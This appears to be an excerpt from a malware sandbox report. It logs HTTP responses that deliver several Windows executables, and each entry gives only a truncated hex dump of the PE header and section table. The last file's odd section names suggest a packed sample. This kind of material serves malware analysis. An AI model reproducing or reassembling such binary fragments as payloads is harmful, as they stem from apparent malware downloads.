Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 23:15:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 23:15:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 23:15:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 23:15:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 23:15:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 23:15:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 06 Dec 2024 23:16:00 GMTContent-Type: application/octet-streamContent-Length: 3232256Last-Modified: Fri, 06 Dec 2024 23:06:10 GMTConnection: keep-aliveETag: "67538362-315200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 60 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 31 00 00 04 00 00 82 fe 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 42 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 42 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 6f 63 78 6a 66 6c 6d 00 a0 2a 00 00 b0 06 00 00 94 2a 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 79 73 64 62 79 79 6e 00 10 00 00 00 50 31 00 00 06 00 00 00 2a 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 31 00 00 22 00 00 00 30 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
